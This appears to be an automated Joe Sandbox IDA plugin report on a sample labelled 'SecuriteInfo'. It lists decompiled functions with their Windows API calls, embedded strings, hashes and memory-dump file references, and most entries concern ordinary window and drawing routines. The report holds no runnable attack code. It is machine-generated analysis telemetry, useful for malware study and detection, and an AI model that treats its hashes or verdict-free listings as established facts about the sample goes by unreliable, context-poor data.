Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ColorConditionInflateMaskObjectRectSelect$InfoMetricsSystemTextVerifyVersion
String ID:
API String ID: 4253551672-0
Opcode ID: 6a1add606dab6be897c190eecc6c4f0df1757a9691ffb258ab2a183d665a0945
Instruction ID: ca59eb07bfc7c55210e25ff9bcfeacde9c451ebb73a1793a27859a9ae15ea39c
Opcode Fuzzy Hash: 6a1add606dab6be897c190eecc6c4f0df1757a9691ffb258ab2a183d665a0945
Instruction Fuzzy Hash: 6AC17F76A106808BE721DF27E458B99BBA0F38CB98F048119EF5957BA4CF78D841CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000014015A4CC Relevance: 16.7, APIs: 11, Instructions: 196keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 000000014015A501
GetCapture.USER32 ref: 000000014015A52F
GetCapture.USER32 ref: 000000014015A54B
GetSystemMetrics.USER32 ref: 000000014015A563
GetAsyncKeyState.USER32 ref: 000000014015A571
ReleaseCapture.USER32 ref: 000000014015A58A
GetWindowRect.USER32 ref: 000000014015A5BB
PtInRect.USER32 ref: 000000014015A5D2
ClientToScreen.USER32 ref: 000000014015A61D
GetParent.USER32 ref: 000000014015A68F
ClientToScreen.USER32 ref: 000000014015A791

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Capture$ClientRectScreen$AsyncCursorMetricsParentReleaseStateSystemWindow
String ID:
API String ID: 668609343-0
Opcode ID: 29a662a459f07e9b3f836a917a264d3e24cf87d1ff9f4ed4f177efe94b3f3f43
Instruction ID: 05afd8aefdcc5f09ac6a23b73f676dad12516db32ec77fafd39371f369ac0628
Opcode Fuzzy Hash: 29a662a459f07e9b3f836a917a264d3e24cf87d1ff9f4ed4f177efe94b3f3f43
Instruction Fuzzy Hash: 17817C7671578086EB26DBB6E8947ED27B1B74CF84F084026DF8A5BBA5DE39C441C340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140026310 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 149COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 00000001400263E5

Strings

There is no connection to the SBAM service. Not advising., xrefs: 0000000140026550
Failed to get the ServerConnection instance., xrefs: 00000001400263BB
TGenericSinkCoupler<class _com_ptr_t<class _com_IIID<struct ISBScanControl,&struct __s_GUID const _GUID_bbed8229_eb89_4853_b66a_39, xrefs: 000000014002637D, 00000001400264A3, 00000001400264E9, 000000014002652C, 0000000140026557
CServerConnection::ISBScanControlInterface, xrefs: 00000001400263C2
SBAM.Common, xrefs: 0000000140026384, 00000001400263C9, 00000001400264AA, 00000001400264F0, 0000000140026533, 000000014002655E
Failed to subscribe to ServerConnection state changes., xrefs: 0000000140026371
AtlAdvise() failed and returned 0x%08X, xrefs: 000000014002649C
QueryInterface(IUnknown sink delegate class) failed and returned 0x%08X, xrefs: 00000001400264E2
CreateInstance(IUnknown sink delegate class) failed and returned 0x%08X, xrefs: 0000000140026525
Successfully subscribed to ServerConnection state changes., xrefs: 0000000140026359

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionThrow
String ID: AtlAdvise() failed and returned 0x%08X$CServerConnection::ISBScanControlInterface$CreateInstance(IUnknown sink delegate class) failed and returned 0x%08X$Failed to get the ServerConnection instance.$Failed to subscribe to ServerConnection state changes.$QueryInterface(IUnknown sink delegate class) failed and returned 0x%08X$SBAM.Common$Successfully subscribed to ServerConnection state changes.$TGenericSinkCoupler<class _com_ptr_t<class _com_IIID<struct ISBScanControl,&struct __s_GUID const _GUID_bbed8229_eb89_4853_b66a_39$There is no connection to the SBAM service. Not advising.
API String ID: 432778473-3567450281
Opcode ID: f1132e3db1ee851c7aa6a805d2b220358e27b0953dd71ad65e4a0da5fc31e84e
Instruction ID: 6f31c54e3296ce0b57a1d820e01a7ea196c973fec8fd8efb65a447e78071ab93
Opcode Fuzzy Hash: f1132e3db1ee851c7aa6a805d2b220358e27b0953dd71ad65e4a0da5fc31e84e
Instruction Fuzzy Hash: DA617E76100A9591FB22EF33E844BC96364F74C798F508516EB59832F5DFB8CA45C790

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140026770 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 149COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 0000000140026845

Strings

TGenericSinkCoupler<class _com_ptr_t<class _com_IIID<struct ISBThreatDefinitions,&struct __s_GUID const _GUID_e426c725_b8ce_406a_9, xrefs: 00000001400267DD, 0000000140026903, 0000000140026949, 000000014002698C, 00000001400269B7
There is no connection to the SBAM service. Not advising., xrefs: 00000001400269B0
Failed to get the ServerConnection instance., xrefs: 000000014002681B
CServerConnection::ISBThreatDefinitionsInterface, xrefs: 0000000140026822
SBAM.Common, xrefs: 00000001400267E4, 0000000140026829, 000000014002690A, 0000000140026950, 0000000140026993, 00000001400269BE
Failed to subscribe to ServerConnection state changes., xrefs: 00000001400267D1
AtlAdvise() failed and returned 0x%08X, xrefs: 00000001400268FC
QueryInterface(IUnknown sink delegate class) failed and returned 0x%08X, xrefs: 0000000140026942
CreateInstance(IUnknown sink delegate class) failed and returned 0x%08X, xrefs: 0000000140026985
Successfully subscribed to ServerConnection state changes., xrefs: 00000001400267B9

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionThrow
String ID: AtlAdvise() failed and returned 0x%08X$CServerConnection::ISBThreatDefinitionsInterface$CreateInstance(IUnknown sink delegate class) failed and returned 0x%08X$Failed to get the ServerConnection instance.$Failed to subscribe to ServerConnection state changes.$QueryInterface(IUnknown sink delegate class) failed and returned 0x%08X$SBAM.Common$Successfully subscribed to ServerConnection state changes.$TGenericSinkCoupler<class _com_ptr_t<class _com_IIID<struct ISBThreatDefinitions,&struct __s_GUID const _GUID_e426c725_b8ce_406a_9$There is no connection to the SBAM service. Not advising.
API String ID: 432778473-2209108740
Opcode ID: 87ee1c8e97dd53fbfe71bb23bfc25e6639226938038c4be17dfb130e074b4eb9
Instruction ID: 1d87a63bdc42cdc0d0fc18a1aced181bd28b350b14c826fd744a6dc1a2d4c070
Opcode Fuzzy Hash: 87ee1c8e97dd53fbfe71bb23bfc25e6639226938038c4be17dfb130e074b4eb9
Instruction Fuzzy Hash: 09617D76104B8681FA22EF33E488BC96365F74C798F908116EB59436F5DFB8CA85C391

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401A8060 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

EqualRect.USER32 ref: 00000001401A808F
EqualRect.USER32 ref: 00000001401A80A3
CreateRectRgn.GDI32 ref: 00000001401A80EF
CreateRectRgn.GDI32 ref: 00000001401A8126
CreateRectRgnIndirect.GDI32 ref: 00000001401A8131
CombineRgn.GDI32 ref: 00000001401A8154
SetWindowRgn.USER32 ref: 00000001401A8165
RedrawWindow.USER32 ref: 00000001401A81F4

Strings

X, xrefs: 00000001401A8194

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Create$EqualWindow$CombineIndirectRedraw
String ID: X
API String ID: 1400420921-3081909835
Opcode ID: 4519524f506afe1a51b2d19334bc70a0a419ba9bfd65e895bae58f33c3e024ab
Instruction ID: a82b96e196c48fb7f406e054c761b6a5117a70d7c7c7e256bb64d18451693267
Opcode Fuzzy Hash: 4519524f506afe1a51b2d19334bc70a0a419ba9bfd65e895bae58f33c3e024ab
Instruction Fuzzy Hash: AF518D767106908AE715CF66E948BEE77B0F75CB98F148124DF9A17AA8DF38D484CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400DE578 Relevance: 15.3, APIs: 10, Instructions: 275windowCOMMON

Download Yara Rule

APIs

PatBlt.GDI32 ref: 00000001400DE614
PatBlt.GDI32 ref: 00000001400DE638
PatBlt.GDI32 ref: 00000001400DE65F
PatBlt.GDI32 ref: 00000001400DE686
InflateRect.USER32 ref: 00000001400DE699
InflateRect.USER32 ref: 00000001400DE6A7
PatBlt.GDI32 ref: 00000001400DE6FC
PatBlt.GDI32 ref: 00000001400DE726
PatBlt.GDI32 ref: 00000001400DE752

Part of subcall function 000000014017B8BC: PatBlt.GDI32 ref: 000000014017B912
Part of subcall function 000000014017B8BC: PatBlt.GDI32 ref: 000000014017B935
Part of subcall function 000000014017B8BC: PatBlt.GDI32 ref: 000000014017B95C
Part of subcall function 000000014017B8BC: PatBlt.GDI32 ref: 000000014017B982
Part of subcall function 000000014017B8BC: InflateRect.USER32 ref: 000000014017B993
Part of subcall function 000000014017B8BC: InflateRect.USER32 ref: 000000014017B9A4
Part of subcall function 000000014017B8BC: PatBlt.GDI32 ref: 000000014017B9FA
Part of subcall function 000000014017B8BC: PatBlt.GDI32 ref: 000000014017BA23

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InflateRect
String ID:
API String ID: 2073123975-0
Opcode ID: 8b556cc825b79c826b2b1dc0784fc03dced48f5989e53aae9eeb3e53bbaf029b
Instruction ID: db9e63b8d2182378be00c8c08826e6456dd29741eb76c1e728c8a67cc08d0a0a
Opcode Fuzzy Hash: 8b556cc825b79c826b2b1dc0784fc03dced48f5989e53aae9eeb3e53bbaf029b
Instruction Fuzzy Hash: 1BC188766146808BE721DF27E444B9DBB60F789BD4F148225EF9847B68DF38D842CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401125BC Relevance: 15.2, APIs: 10, Instructions: 243COMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000000014011260D
GetWindowRect.USER32 ref: 0000000140112668
CopyRect.USER32 ref: 0000000140112680
PtInRect.USER32 ref: 0000000140112778
PtInRect.USER32 ref: 00000001401127A1
PtInRect.USER32 ref: 00000001401127D7
PtInRect.USER32 ref: 0000000140112801
PtInRect.USER32 ref: 0000000140112876
PtInRect.USER32 ref: 00000001401128A6
PtInRect.USER32 ref: 00000001401128E8

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$CopyParentWindow
String ID:
API String ID: 642869531-0
Opcode ID: b122544f1e3ecdfed08cbb4ca23f8fd38f4dbc316605581de163c0d2c8ebb641
Instruction ID: 7c46f071e3dcc1a64aa52229fe20fea41dedef27c8f38e99f302925d6d22888b
Opcode Fuzzy Hash: b122544f1e3ecdfed08cbb4ca23f8fd38f4dbc316605581de163c0d2c8ebb641
Instruction Fuzzy Hash: BCB11976B106508AEB0ACF76D5447EE3BB1B74CB98F144515DF0AABBA8DB38D854CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400D63E4 Relevance: 15.2, APIs: 10, Instructions: 241COMMON

Download Yara Rule

APIs

EqualRect.USER32 ref: 00000001400D643E
GetTextExtentPoint32W.GDI32 ref: 00000001400D6587
MonitorFromPoint.USER32 ref: 00000001400D660F
GetMonitorInfoW.USER32 ref: 00000001400D661C
CopyRect.USER32 ref: 00000001400D662E
SystemParametersInfoW.USER32 ref: 00000001400D6642
InvalidateRect.USER32 ref: 00000001400D6715
UpdateWindow.USER32 ref: 00000001400D671F
LoadCursorW.USER32 ref: 00000001400D6731
SetCursor.USER32 ref: 00000001400D673A

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$CursorInfoMonitor$CopyEqualExtentFromInvalidateLoadParametersPointPoint32SystemTextUpdateWindow
String ID:
API String ID: 321205079-0
Opcode ID: 6763386de9334c7cb0d8c1d6a72666ed43279b6fa854cd6698aa9b42112c7a6b
Instruction ID: e4887efaeef2a1af96c7ac47cf22bf81dc3e1aeb0e456f061d257a43b5b6f21f
Opcode Fuzzy Hash: 6763386de9334c7cb0d8c1d6a72666ed43279b6fa854cd6698aa9b42112c7a6b
Instruction Fuzzy Hash: 00B17D727006908AEB16DF7AD458BED37A5FB88798F428125EF09576A5EF38C445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400AE788 Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00000001400AE876
SendMessageW.USER32 ref: 00000001400AE88B
SetScrollPos.USER32 ref: 00000001400AE8B6
GetParent.USER32 ref: 00000001400AE8C8
SendMessageW.USER32 ref: 00000001400AE8E6
GetClientRect.USER32 ref: 00000001400AE96C
MapWindowPoints.USER32 ref: 00000001400AE984
PtInRect.USER32 ref: 00000001400AE992
MapWindowPoints.USER32 ref: 00000001400AE9D4
SendMessageW.USER32 ref: 00000001400AE9F6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$PointsRectWindow$ClientParentScroll
String ID:
API String ID: 3278275472-0
Opcode ID: b7a733b981df26b836237ec0e030c84bec98d52e5496d781637e799c9078919b
Instruction ID: 7548646a0b7c1f83116ac4ca6e88faafb4787589d70e6750a895f98de59cd08e
Opcode Fuzzy Hash: b7a733b981df26b836237ec0e030c84bec98d52e5496d781637e799c9078919b
Instruction Fuzzy Hash: 03718D36300A8086EB5ADB67E8587ED2761F79CBC8F044122EF0D47BA5DF79C9928740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140172288 Relevance: 15.1, APIs: 10, Instructions: 120windowCOMMON

Download Yara Rule

APIs

SetCursor.USER32 ref: 00000001401722D5
std::bad_exception::bad_exception.LIBCMT ref: 00000001401722F5
SetForegroundWindow.USER32 ref: 0000000140172327
BringWindowToTop.USER32 ref: 0000000140172331
SetCapture.USER32 ref: 000000014017233B
PeekMessageW.USER32 ref: 0000000140172369
TranslateMessage.USER32 ref: 00000001401723D1
DispatchMessageW.USER32 ref: 00000001401723DC

Part of subcall function 0000000140172EB0: GetNearestPaletteIndex.GDI32 ref: 0000000140172EFF
Part of subcall function 0000000140172EB0: InvalidateRect.USER32 ref: 0000000140172F29

WaitMessage.USER32 ref: 0000000140172411
ReleaseCapture.USER32 ref: 0000000140172424

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Message$CaptureWindow$BringCursorDispatchForegroundIndexInvalidateNearestPalettePeekRectReleaseTranslateWaitstd::bad_exception::bad_exception
String ID:
API String ID: 95895181-0
Opcode ID: 3aa49993715ade2b147aa35eaa6107bf3c374193b2d4a07edba91201ee2da320
Instruction ID: f79edc5a27591c83c39bc4441d99a052ddf0a52bac6dbb4334e5183e713d6c20
Opcode Fuzzy Hash: 3aa49993715ade2b147aa35eaa6107bf3c374193b2d4a07edba91201ee2da320
Instruction Fuzzy Hash: AC515936305A8082FA6ADB27E4587ED63A1FB8DF90F184121DB9A477B1DF78C846C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014014287C Relevance: 15.1, APIs: 10, Instructions: 104windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00000001401428AD
GetFocus.USER32 ref: 00000001401428BF

Part of subcall function 000000014003ACDC: GetParent.USER32 ref: 000000014003ACF9
Part of subcall function 000000014003ACDC: GetParent.USER32 ref: 000000014003AD10
Part of subcall function 000000014003ACDC: GetParent.USER32 ref: 000000014003AD2F
Part of subcall function 000000014003ACDC: SetFocus.USER32(?,?,?,?,?,?,?,00000001400C23FA), ref: 000000014003AD50

Part of subcall function 00000001401AF4D4: SendMessageW.USER32 ref: 00000001401AF4F2

GetParent.USER32 ref: 0000000140142904
GetFocus.USER32 ref: 0000000140142929
RedrawWindow.USER32 ref: 0000000140142A25

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Parent$Focus$Window$MessageRedrawSendVisible
String ID:
API String ID: 1465349162-0
Opcode ID: a0f8e752c7d6c951b02b81b95f304dfc7ec780fbd6279938dd5100218ac1065a
Instruction ID: 14901e82cffdc99a242cf5dae896e81aa1fedd9404aead98bb5372caa3a691ae
Opcode Fuzzy Hash: a0f8e752c7d6c951b02b81b95f304dfc7ec780fbd6279938dd5100218ac1065a
Instruction Fuzzy Hash: BD411C3531165142EE1AEB63E8993EA63A1BBCDFC0F494135DF4E4B7B2DE78D4418200

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400E43F8 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 349COMMON

Download Yara Rule

APIs

FillRect.USER32 ref: 00000001400E456B
InflateRect.USER32 ref: 00000001400E45AD
FillRect.USER32 ref: 00000001400E45D0
GetParent.USER32 ref: 00000001400E468C
GetParent.USER32 ref: 00000001400E462A

Part of subcall function 0000000140112EA8: IsWindow.USER32 ref: 0000000140112ED4

GetParent.USER32 ref: 00000001400E4777
GetParent.USER32 ref: 00000001400E47E1

Strings

2, xrefs: 00000001400E4502

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Parent$Rect$Fill$InflateWindow
String ID: 2
API String ID: 3037358875-450215437
Opcode ID: 58061f454942a40bfbdb045d28eea74754b22fdfa9c1d6114f031c37b4fb75ef
Instruction ID: 1dd9f4106f79d29d9a3bb3df1d60e60a47b9dcd5ce4814544ed0c9883effd920
Opcode Fuzzy Hash: 58061f454942a40bfbdb045d28eea74754b22fdfa9c1d6114f031c37b4fb75ef
Instruction Fuzzy Hash: 6AF17B32B04A808AEB12DFA6E4447ED23B1B78DBD8F455216EF49677A5EF34C544C780

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400B8584 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 259windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 00000001400B8625
CreateCompatibleDC.GDI32 ref: 00000001400B8638
CreateCompatibleBitmap.GDI32 ref: 00000001400B867B
SelectObject.GDI32 ref: 00000001400B86ED
BitBlt.GDI32 ref: 00000001400B8731
BitBlt.GDI32 ref: 00000001400B88E3
DeleteObject.GDI32 ref: 00000001400B88FE

Strings

, xrefs: 00000001400B88B6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
